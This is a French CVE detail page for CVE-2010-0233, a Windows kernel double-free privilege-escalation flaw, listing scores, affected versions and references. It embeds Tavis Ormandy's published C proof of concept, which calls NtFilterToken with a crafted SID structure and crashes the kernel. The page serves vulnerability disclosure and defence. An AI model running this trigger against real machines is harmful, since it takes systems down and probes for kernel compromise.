CVE-2010-0233 : Détail

CVE-2010-0233

0.51%V4
Local
2010-02-10
17h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Double free vulnerability in the kernel in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista Gold, SP1, and SP2, and Server 2008 Gold and SP2 allows local users to gain privileges via a crafted application, aka "Windows Kernel Double Free Vulnerability."

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33593

Date de publication : 2010-02-08 23h00 +00:00
Auteur : Tavis Ormandy
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/38044/info // Microsoft Windows is prone to a local privilege-escalation vulnerability that occurs in the kernel. // An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will cause a denial of service. // -------------------------------------------------------- // Windows NtFilterToken() Double Free Vulnerability // ----------------------------- taviso@sdf.lonestar.org ------------ // // INTRODUCTION // // NtFilterToken() will jump to a cleanup routine if it failed to capture // the arguments specified due to pathological TOKEN_GROUP parameter. This // cleanup routine assumes a pointer passed to SeCaptureSidAndAttributesArray() // will be NULL if it fails, and attempts to release it otherwise. // // Unfortunately there is a codepath where SeCaptureSidAndAttributesArray() // allocates a buffer, releases it on error, but then does not set it to // NULL. This causes NtFilterToken() to incorrectly free it again. // // IMPACT // // This is probably exploitable (at least on MP kernels) to get ring0 code // execution, but you would have to get the released buffer re-allocated // during a very small window and you only get one attempt (the kernel // will bugcheck if you dont win the race). // // Although technically this is a local privilege escalation, I don't think // it's possible to create a reliable exploit. Therefore, It's probably // safe to treat this as if it were a denial of service. // // Interestingly, Microsoft are big proponents of static analysis and this // seems like a model example of a statically discoverable bug. I would // guess they're dissapointed they missed this one, it would be fun to // know what went wrong. // // This vulnerability was reported to Microsoft in October, 2009. // // CREDIT // // This bug was discovered by Tavis Ormandy <taviso@sdf.lonestar.org>. // #include <windows.h> PVOID AllocBufferOnPageBoundary(ULONG Size); int main(int argc, char **argv) { SID *Sid; HANDLE NewToken; FARPROC NtFilterToken; PTOKEN_GROUPS Restricted; // Resolve the required routine. NtFilterToken = GetProcAddress(GetModuleHandle("NTDLL"), "NtFilterToken"); // Allocate SID such that touching the following byte will AV. Sid = AllocBufferOnPageBoundary(sizeof(SID)); Restricted = AllocBufferOnPageBoundary(sizeof(PTOKEN_GROUPS) + sizeof(SID_AND_ATTRIBUTES)); // Setup SID, SubAuthorityCount is the important field. Sid->Revision = SID_REVISION; Sid->SubAuthority[0] = SECURITY_NULL_RID; Sid->SubAuthorityCount = 2; // Respect my authority. CopyMemory(Sid->IdentifierAuthority.Value, "taviso", sizeof Sid->IdentifierAuthority.Value); // Setup the TOKEN_GROUPS structure. Restricted->Groups[0].Attributes = SE_GROUP_MANDATORY; Restricted->Groups[0].Sid = Sid; Restricted->GroupCount = 1; // Trigger the vulnerabilty. NtFilterToken(INVALID_HANDLE_VALUE, 0, NULL, NULL, Restricted, &NewToken); // Not reached return 0; } #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif // This is a quick routine to allocate a buffer on a page boundary. Simply // VirtualAlloc() two consecutive pages read/write, then use VirtualProtect() // to set the second page to PAGE_NOACCESS. // // sizeof(buffer) // | // <-+-> // +----------------+----------------+ // | PAGE_READWRITE | PAGE_NOACCESS | // +----------------+----------------+ // ^ ^ // | | // buffer[0] -+ +- buffer[size] // // No error checking for simplicity, whatever :-) // PVOID AllocBufferOnPageBoundary(ULONG Size) { ULONG GuardBufSize; ULONG ProtBits; PBYTE GuardBuf; // Round size requested up to the next multiple of PAGE_SIZE GuardBufSize = (Size + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1); // Add one page to be the guard page GuardBufSize = GuardBufSize + PAGE_SIZE; // Map this anonymous memory GuardBuf = VirtualAlloc(NULL, GuardBufSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Make the final page NOACCESS VirtualProtect(GuardBuf + GuardBufSize - PAGE_SIZE, PAGE_SIZE, PAGE_NOACCESS, &ProtBits); // Calculate where pointer should be, so that touching Buffer[Size] AVs. return GuardBuf + GuardBufSize - PAGE_SIZE - Size; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version sp4

    Microsoft>>Windows_server_2003 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version -

    Microsoft>>Windows_server_2008 >> Version sp2

      Microsoft>>Windows_vista >> Version *

      Microsoft>>Windows_vista >> Version sp1

        Microsoft>>Windows_vista >> Version sp2

          Microsoft>>Windows_xp >> Version -

          Microsoft>>Windows_xp >> Version sp3

          Références

          http://www.us-cert.gov/cas/techalerts/TA10-040A.html
          Tags : third-party-advisory, x_refsource_CERT